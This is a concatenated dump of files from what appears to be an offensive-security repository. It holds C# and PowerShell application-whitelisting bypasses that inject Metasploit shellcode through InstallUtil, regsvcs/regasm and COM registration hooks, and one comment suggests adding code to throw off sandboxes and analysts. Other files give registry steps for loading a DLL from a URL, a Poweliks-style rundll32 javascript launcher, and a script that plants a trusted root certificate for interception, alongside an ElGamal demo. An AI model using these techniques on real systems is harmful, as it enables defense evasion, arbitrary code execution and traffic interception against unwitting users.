'SHA1' 59 | '1.3.14.3.2.29' = 'SHA1' 60 | '1.2.840.113549.1.1.11' = 'SHA256' 61 | '1.2.840.113549.1.1.12' = 'SHA384' 62 | '1.2.840.113549.1.1.13' = 'SHA512' 63 | } 64 | 65 | $CertBytes = $Certificate.RawData 66 | 67 | $X509_PKCS7_ENCODING = 65537 68 | $X509_CERT = 1 69 | $CRYPT_DECODE_TO_BE_SIGNED_FLAG = 2 70 | $ErrorMoreData = 234 71 | 72 | $TBSData = [IntPtr]::Zero 73 | [UInt32] $TBSDataSize = 0 74 | 75 | $Success = [Crypto.NativeMethods]::CryptDecodeObject( 76 | $X509_PKCS7_ENCODING, 77 | [IntPtr] $X509_CERT, 78 | $CertBytes, 79 | $CertBytes.Length, 80 | $CRYPT_DECODE_TO_BE_SIGNED_FLAG, 81 | $TBSData, 82 | [ref] $TBSDataSize 83 | ); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 84 | 85 | if((-not $Success) -and ($LastError -ne $ErrorMoreData)) 86 | { 87 | throw "[CryptDecodeObject] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 88 | } 89 | 90 | $TBSData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TBSDataSize) 91 | 92 | $Success = [Crypto.NativeMethods]::CryptDecodeObject( 93 | $X509_PKCS7_ENCODING, 94 | [IntPtr] $X509_CERT, 95 | $CertBytes, 96 | $CertBytes.Length, 97 | $CRYPT_DECODE_TO_BE_SIGNED_FLAG, 98 | $TBSData, 99 | [ref] $TBSDataSize 100 | ); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 101 | 102 | if((-not $Success)) 103 | { 104 | throw "[CryptDecodeObject] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 105 | } 106 | 107 | $SignedContentInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TBSData, [Type][Crypto.CERT_SIGNED_CONTENT_INFO]) 108 | 109 | $TBSBytes = New-Object Byte[]($SignedContentInfo.ToBeSigned.cbData) 110 | [Runtime.InteropServices.Marshal]::Copy($SignedContentInfo.ToBeSigned.pbData, $TBSBytes, 0, $TBSBytes.Length) 111 | 112 | [Runtime.InteropServices.Marshal]::FreeHGlobal($TBSData) 113 | 114 | $HashAlgorithmStr = $HashOIDs[$SignedContentInfo.SignatureAlgorithm.pszObjId] 115 | 116 | if (-not $HashAlgorithmStr) { throw 'Hash algorithm is not supported or it could not be retrieved.' } 117 | 118 | $HashAlgorithm = [Security.Cryptography.HashAlgorithm]::Create($HashAlgorithmStr) 119 | 120 | $TBSHashBytes = $HashAlgorithm.ComputeHash($TBSBytes) 121 | 122 | ($TBSHashBytes | % { $_.ToString('X2') }) -join '' 123 | } -------------------------------------------------------------------------------- /InstallUtil.hta: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | 7 | 8 | 9 | /* 10 | Author: Casey Smith, Twitter: @subTee 11 | License: BSD 3-Clause 12 | Step One: 13 | 14 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:execalc.exe execalc.cs 15 | Step Two: 16 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U execalc.exe 17 | 18 | */ 19 | 20 | //root@infosec:~# msfvenom --payload windows/exec CMD="calc" EXITFUNC=thread -f csharp > shellcode.txt 21 | 22 | public class Program 23 | { 24 | public static void Main() 25 | { 26 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 27 | //Add any behaviour here to throw off sandbox execution/analysts :) 28 | Shellcode.Exec(); 29 | } 30 | 31 | } 32 | 33 | [System.ComponentModel.RunInstaller(true)] 34 | public class Sample : System.Configuration.Install.Installer 35 | { 36 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 37 | public override void Uninstall(System.Collections.IDictionary savedState) 38 | { 39 | 40 | Console.WriteLine("Hello There From Uninstall"); 41 | Shellcode.Exec(); 42 | 43 | } 44 | 45 | } 46 | 47 | 48 | public class Shellcode 49 | { 50 | public static void Exec() 51 | { 52 | // native function's compiled code 53 | // generated with metasploit 54 | byte[] shellcode = new byte[193] { 55 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 56 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 57 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 58 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 59 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 60 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 61 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 62 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 63 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 64 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 65 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 66 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 67 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 68 | 69 | 70 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, 71 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 72 | Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); 73 | IntPtr hThread = IntPtr.Zero; 74 | UInt32 threadId = 0; 75 | // prepare data 76 | 77 | 78 | IntPtr pinfo = IntPtr.Zero; 79 | 80 | // execute native code 81 | 82 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 83 | WaitForSingleObject(hThread, 0xFFFFFFFF); 84 | return; 85 | 86 | } 87 | 88 | private static UInt32 MEM_COMMIT = 0x1000; 89 | 90 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 91 | 92 | [DllImport("kernel32")] 93 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 94 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 95 | 96 | 97 | 98 | [DllImport("kernel32")] 99 | private static extern IntPtr CreateThread( 100 | 101 | UInt32 lpThreadAttributes, 102 | UInt32 dwStackSize, 103 | UInt32 lpStartAddress, 104 | IntPtr param, 105 | UInt32 dwCreationFlags, 106 | ref UInt32 lpThreadId 107 | 108 | ); 109 | [DllImport("kernel32")] 110 | private static extern bool CloseHandle(IntPtr handle); 111 | 112 | [DllImport("kernel32")] 113 | private static extern UInt32 WaitForSingleObject( 114 | 115 | IntPtr hHandle, 116 | UInt32 dwMilliseconds 117 | ); 118 | 119 | 120 | 121 | } -------------------------------------------------------------------------------- /elgamal.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | ElGamal in PowerShell 4 | by Casey Smith @subTee 5 | 6 | 7 | The key generator works as follows: 8 | Alice generates an efficient description of a cyclic group G of order q ,with generator g. 9 | Alice chooses an x randomly from 1 - (q-1) 10 | Alice computes h = g^x. 11 | Alice publishes h along with the description of G, q, g as her public key. Alice retains x as her private key, which must be kept secret. 12 | 13 | Encryption: 14 | The encryption algorithm works as follows: to encrypt a message m to Alice under her public key (G,q,g,h), 15 | 16 | Bob chooses a random y from (1...q-1), then calculates c_1 = g^y. 17 | Bob calculates the shared secret s = h^y. 18 | Bob maps his secret message m onto an element m' of G. (Inverse Mod) 19 | Bob calculates c_2 = m'(s) 20 | Bob sends the ciphertext (c_1,c_2) = (g^y, m'(h^y)) = (g^y, m'(g^x)^y) to Alice. 21 | Note that one can easily find h^y if one knows m'. Therefore, a new y is generated for every message to improve security. For this reason, y is also called an ephemeral key. 22 | 23 | Decryption: 24 | The decryption algorithm works as follows: to decrypt a ciphertext (c_1,c_2) with her private key x, 25 | 26 | Alice calculates the shared secret s = c_1^x 27 | and then computes m' = c_2(s^(-1)) which she then converts back into the plaintext message m, where s^{-1} is the inverse of s in the group G. (E.g. modular multiplicative inverse if G is a subgroup of a multiplicative group of integers modulo n). 28 | The decryption algorithm produces the intended message. 29 | 30 | //Free Large Known Primes For Testing 31 | //https://primes.utm.edu/lists/small/small.html 32 | #> 33 | 34 | [Reflection.Assembly]::LoadWithPartialName("System.Security") 35 | 36 | function invmod([System.Numerics.BigInteger] $a,[System.Numerics.BigInteger] $n){ 37 | 38 | $exp = $t = $nt = $r = $nr = New-Object System.Numerics.BigInteger 39 | $exp = [System.Numerics.BigInteger]1 40 | $t = [System.Numerics.BigInteger]0 41 | $nt = [System.Numerics.BigInteger]1 42 | $r = $n 43 | $nr = $a 44 | while ($nr -ne [System.Numerics.BigInteger]0) { 45 | $q = [System.Numerics.BigInteger]::Divide($r,$nr) 46 | $tmp = $nt 47 | $nt = [System.Numerics.BigInteger]::Subtract($t,[System.Numerics.BigInteger]::Multiply($q,$nt)) 48 | $t = $tmp 49 | $tmp = $nr 50 | $nr = [System.Numerics.BigInteger]::Subtract($r, [System.Numerics.BigInteger]::Multiply($q,$nr)) 51 | $r = $tmp 52 | } 53 | if ($r -gt 1) {return -1} 54 | if ($t -lt 0) {$t = [System.Numerics.BigInteger]::Add($t,$n)} 55 | return $t 56 | } 57 | 58 | $One = [System.Numerics.BigInteger] 1 59 | $Two = [System.Numerics.BigInteger] 2 60 | $p = New-Object System.Numerics.BigInteger 61 | $result = [System.Numerics.BigInteger]::TryParse("5371393606024775251256550436773565977406724269152942136415762782810562554131599074907426010737503501", [ref] $p) 62 | $etotient = [System.Numerics.BigInteger]::Subtract($p, $One) 63 | $g = [System.Numerics.BigInteger] 3 64 | $e = [System.Numerics.BigInteger]::Divide($etotient,$Two) 65 | #Find Generator 66 | while([System.Numerics.BigInteger]::ModPow($g, $e, $p) -ne $etotient ){ $g = [System.Numerics.BigInteger]::Add($g, $Two) } 67 | $n = 2048 68 | $rngAlice = New-Object System.Security.Cryptography.RNGCryptoServiceProvider 69 | [byte[]] $bytesa = New-Object Byte[] ($n / 8) 70 | $rngAlice.GetBytes($bytesa) 71 | [System.Numerics.BigInteger] $x = (New-Object System.Numerics.BigInteger -ArgumentList @(,$bytesa)) % $p 72 | if($x -lt [System.Numerics.BigInteger]::Zero) { $x = [System.Numerics.BigInteger]::Add($x, $p) } 73 | [System.Numerics.BigInteger] $h = [System.Numerics.BigInteger]::ModPow($g, $x, $p) 74 | Write-Host $h, $p, $g -Fore Yellow 75 | 76 | #Encrypt Message 77 | $rngBob = New-Object System.Security.Cryptography.RNGCryptoServiceProvider 78 | [byte[]] $bytesb = New-Object Byte[] ($n / 8) 79 | $rngBob.GetBytes($bytesb) 80 | [System.Numerics.BigInteger] $y = (New-Object System.Numerics.BigInteger -ArgumentList @(,$bytesb)) % $p 81 | if($y -le [System.Numerics.BigInteger]::Zero ) {$y = [System.Numerics.BigInteger]::Add($y, $p) } 82 | #Compute Secret Message 83 | [System.Numerics.BigInteger] $c_1 = [System.Numerics.BigInteger]::ModPow($g, $y, $p) 84 | [System.Numerics.BigInteger] $s = [System.Numerics.BigInteger]::ModPow($h, $y, $p) 85 | [System.Numerics.BigInteger] $message = [System.Numerics.BigInteger] 123 86 | [System.Numerics.BigInteger] $minv = invmod $message $p 87 | [System.Numerics.BigInteger] $c_2 = ([System.Numerics.BigInteger]::Multiply($minv, $s)) % $p 88 | Write-Host $c_1 $c_2 -Fore Magenta 89 | 90 | #Decrypt Message 91 | [System.Numerics.BigInteger] $s1 = [System.Numerics.BigInteger]::ModPow($c_1, $x, $p) 92 | [System.Numerics.BigInteger] $sinv = invmod $s1 $p 93 | [System.Numerics.BigInteger] $minv1 = ([System.Numerics.BigInteger]::Multiply($sinv, $c_2)) % $p 94 | [System.Numerics.BigInteger] $decrypt = invmod $minv1 $p 95 | Write-Host $decrypt -Fore Green -------------------------------------------------------------------------------- /pshell_template_embedded_script.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | None 8 | None 9 | 10 | 11 | 12 | 13 | 14 | 18 | 19 | 20 | 21 | 22 | 23 | 26 | 27 | 28 | 29 | 33 | 34 | 35 | 36 | results = pipeline.Invoke(); 107 | runspace.Close(); 108 | 109 | 110 | StringBuilder stringBuilder = new StringBuilder(); 111 | foreach (PSObject obj in results) 112 | { 113 | stringBuilder.Append(obj); 114 | } 115 | return stringBuilder.ToString().Trim(); 116 | } 117 | 118 | public static void RunPSFile(string script) 119 | { 120 | PowerShell ps = PowerShell.Create(); 121 | ps.AddScript(script).Invoke(); 122 | } 123 | 124 | 125 | } 126 | 127 | 128 | 129 | 130 | ]]> 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /regsvcs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.EnterpriseServices; 3 | using System.Runtime.InteropServices; 4 | 5 | /* 6 | 7 | Author: Casey Smith, Twitter: @subTee 8 | License: BSD 3-Clause 9 | 10 | Create Your Strong Name Key -> key.snk 11 | 12 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 13 | $Content = [System.Convert]::FromBase64String($key) 14 | Set-Content key.snk -Value $Content -Encoding Byte 15 | 16 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs 17 | 18 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll 19 | [OR] 20 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll 21 | //Executes UnRegisterClass If you don't have permissions 22 | 23 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll 24 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll 25 | //This calls the UnregisterClass Method 26 | 27 | */ 28 | namespace regsvcser 29 | { 30 | 31 | public class Bypass : ServicedComponent 32 | { 33 | public Bypass() { Console.WriteLine("I am a basic COM Object"); } 34 | 35 | [ComRegisterFunction] //This executes if registration is successful 36 | public static void RegisterClass ( string key ) 37 | { 38 | Console.WriteLine("I shouldn't really execute"); 39 | Shellcode.Exec(); 40 | } 41 | 42 | [ComUnregisterFunction] //This executes if registration fails 43 | public static void UnRegisterClass ( string key ) 44 | { 45 | Console.WriteLine("I shouldn't really execute either."); 46 | Shellcode.Exec(); 47 | } 48 | } 49 | 50 | public class Shellcode 51 | { 52 | public static void Exec() 53 | { 54 | // native function's compiled code 55 | // generated with metasploit 56 | // executes calc.exe 57 | byte[] shellcode = new byte[193] { 58 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 59 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 60 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 61 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 62 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 63 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 64 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 65 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 66 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 67 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 68 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 69 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 70 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 71 | 72 | 73 | 74 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 75 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 76 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 77 | IntPtr hThread = IntPtr.Zero; 78 | UInt32 threadId = 0; 79 | // prepare data 80 | 81 | 82 | IntPtr pinfo = IntPtr.Zero; 83 | 84 | // execute native code 85 | 86 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 87 | WaitForSingleObject(hThread, 0xFFFFFFFF); 88 | return; 89 | } 90 | 91 | private static UInt32 MEM_COMMIT = 0x1000; 92 | 93 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 94 | 95 | [DllImport("kernel32")] 96 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 97 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 98 | 99 | 100 | [DllImport("kernel32")] 101 | private static extern IntPtr CreateThread( 102 | 103 | UInt32 lpThreadAttributes, 104 | UInt32 dwStackSize, 105 | UInt32 lpStartAddress, 106 | IntPtr param, 107 | UInt32 dwCreationFlags, 108 | ref UInt32 lpThreadId 109 | 110 | ); 111 | 112 | [DllImport("kernel32")] 113 | private static extern UInt32 WaitForSingleObject( 114 | 115 | IntPtr hHandle, 116 | UInt32 dwMilliseconds 117 | ); 118 | 119 | 120 | } 121 | 122 | } -------------------------------------------------------------------------------- /InterceptorCertGen.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA) 2 | { 3 | $CAsubject = $certSubject 4 | $dn = new-object -com "X509Enrollment.CX500DistinguishedName" 5 | $dn.Encode( "CN=" + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 6 | #Issuer Property for cleanup 7 | $issuer = "__Interceptor_Trusted_Root" 8 | $issuerdn = new-object -com "X509Enrollment.CX500DistinguishedName" 9 | $issuerdn.Encode("CN=" + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 10 | # Create a new Private Key 11 | $key = new-object -com "X509Enrollment.CX509PrivateKey" 12 | $key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" #"Microsoft Enhanced Cryptographic Provider v1.0" 13 | # Set CAcert to 1 to be used for Signature 14 | if($isCA) 15 | { 16 | $key.KeySpec = 2 17 | } 18 | else 19 | { 20 | $key.KeySpec = 1 21 | } 22 | $key.Length = 2048 23 | $key.MachineContext = 1 24 | $key.Create() 25 | 26 | # Create Attributes 27 | $serverauthoid = new-object -com "X509Enrollment.CObjectId" 28 | $serverauthoid.InitializeFromValue("1.3.6.1.5.5.7.3.1") 29 | $ekuoids = new-object -com "X509Enrollment.CObjectIds.1" 30 | $ekuoids.add($serverauthoid) 31 | $ekuext = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" 32 | $ekuext.InitializeEncode($ekuoids) 33 | 34 | $cert = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" 35 | $cert.InitializeFromPrivateKey(2, $key, "") 36 | $cert.Subject = $dn 37 | $cert.Issuer = $issuerdn 38 | $cert.NotBefore = (get-date).AddDays(-1) #Backup One day to Avoid Timing Issues 39 | $cert.NotAfter = $cert.NotBefore.AddDays(90) #Arbitrary... Change to persist longer... 40 | #Use Sha256 41 | $hashAlgorithmObject = New-Object -ComObject X509Enrollment.CObjectId 42 | $hashAlgorithmObject.InitializeFromAlgorithmName(1,0,0,"SHA256") 43 | $cert.HashAlgorithm = $hashAlgorithmObject 44 | #Good Reference Here http://www.css-security.com/blog/creating-a-self-signed-ssl-certificate-using-powershell/ 45 | 46 | $cert.X509Extensions.Add($ekuext) 47 | if ($isCA) 48 | { 49 | $basicConst = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" 50 | $basicConst.InitializeEncode("true", 1) 51 | $cert.X509Extensions.Add($basicConst) 52 | } 53 | else 54 | { 55 | $signer = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) 56 | $signerCertificate = new-object -com "X509Enrollment.CSignerCertificate" 57 | $signerCertificate.Initialize(1,0,4, $signer.Thumbprint) 58 | $cert.SignerCertificate = $signerCertificate 59 | } 60 | $cert.Encode() 61 | 62 | $enrollment = new-object -com "X509Enrollment.CX509Enrollment" 63 | $enrollment.InitializeFromRequest($cert) 64 | $certdata = $enrollment.CreateRequest(0) 65 | $enrollment.InstallResponse(2, $certdata, 0, "") 66 | 67 | if($isCA) 68 | { 69 | 70 | # Need a Better way to do this... 71 | $CACertificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) 72 | # Install CA Root Certificate 73 | $StoreScope = "LocalMachine" 74 | $StoreName = "Root" 75 | $store = New-Object System.Security.Cryptography.X509Certificates.X509Store $StoreName, $StoreScope 76 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite) 77 | $store.Add($CACertificate) 78 | 79 | 80 | } 81 | else 82 | { 83 | return (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $CAsubject }) 84 | } 85 | 86 | } 87 | 88 | 89 | Invoke-CreateCertificate "__Interceptor_Trusted_Root" $true 90 | Invoke-CreateCertificate "www.example.com" $true 91 | (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) 92 | (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "www.example.com" }) 93 | 94 | function Invoke-RemoveCertificates([string] $issuedBy) 95 | { 96 | $certs = Get-ChildItem cert:\LocalMachine\My | where { $_.Issuer -match $issuedBy } 97 | if($certs) 98 | { 99 | foreach ($cert in $certs) 100 | { 101 | $store = Get-Item $cert.PSParentPath 102 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) 103 | $store.Remove($cert) 104 | 105 | } 106 | } 107 | #Remove Any Trusted Root Certificates 108 | $certs = Get-ChildItem cert:\LocalMachine\Root | where { $_.Issuer -match $issuedBy } 109 | if($certs) 110 | { 111 | foreach ($cert in $certs) 112 | { 113 | $store = Get-Item $cert.PSParentPath 114 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) 115 | $store.Remove($cert) 116 | 117 | } 118 | } 119 | 120 | #Remove Any Intermediate CA Certificates #spaceB0x! 121 | $certs = Get-ChildItem cert:\LocalMachine\CA | where { $_.Issuer -match $issuedBy } 122 | if($certs) 123 | { 124 | foreach ($cert in $certs) 125 | { 126 | $store = Get-Item $cert.PSParentPath 127 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) 128 | $store.Remove($cert) 129 | 130 | } 131 | } 132 | 133 | [Console]::WriteLine("Certificates Removed") 134 | 135 | } 136 | 137 | Invoke-RemoveCertificates( "__Interceptor_Trusted_Root" ) 138 | Invoke-RemoveCertificates( "www.example.com" ) -------------------------------------------------------------------------------- /RemoteDLLGuest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.EnterpriseServices; 3 | using System.Runtime.InteropServices; 4 | 5 | 6 | /* 7 | Author: Casey Smith, Twitter: @subTee 8 | License: BSD 3-Clause 9 | Create Your Strong Name Key -> key.snk 10 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 11 | $Content = [System.Convert]::FromBase64String($key) 12 | Set-Content key.snk -Value $Content -Encoding Byte 13 | 14 | 15 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /target:library /out:dllguest.dll /keyfile:key.snk RemoteDLLGuest.cs 16 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:dllguest.dll /keyfile:key.snk RemoteDLLGuest.cs 17 | 18 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe dllguest.dll 19 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe dllguest.dll 20 | 21 | Replace in Registry: 22 | HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{0002B969-7608-426E-9D8E-A09FC9A51680}\InprocServer32\CodeBase 23 | file:///C:/Bypass/dllguest.DLL 24 | With Path to URL hosting binary... 25 | http://127.0.0.1:8080/dllguest.dll 26 | 27 | 28 | [OR] 29 | From Administrative x86 PowerShell 30 | [reflection.Assembly]::LoadWithPartialName("system.enterpriseservices") 31 | $helper = New-Object System.EnterpriseServices.RegistrationHelper 32 | $a = 'dllguest.Bypass' 33 | $b = $null 34 | $helper.InstallAssembly('dllguest.dll',( [ref] $a) ,( [ref] $b), [System.EnterpriseServices.InstallationFlags]::CreateTargetApplication) 35 | 36 | # Create the Object 37 | # From x86 PowerShell Prompt. 38 | $b = New-Object -ComObject dllguest.Bypass 39 | $b.Exec() 40 | 41 | From Jscript 42 | var o = new ActiveXObject("dllguest.Bypass"); 43 | o.Exec(); 44 | 45 | From VBScript 46 | Dim obj 47 | Set obj = CreateObject( "dllguest.Bypass" ) 48 | obj.Exec(); 49 | 50 | Call using cscript.exe //E:vbscript dllguest.txt 51 | 52 | Poweliks Emulation 53 | rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=new%20ActiveXObject("dllguest.Bypass");o.Exec(); 54 | 55 | Cleanup 56 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe /U dllguest.dll 57 | 58 | */ 59 | [assembly: ApplicationActivation(ActivationOption.Server)] 60 | [assembly: 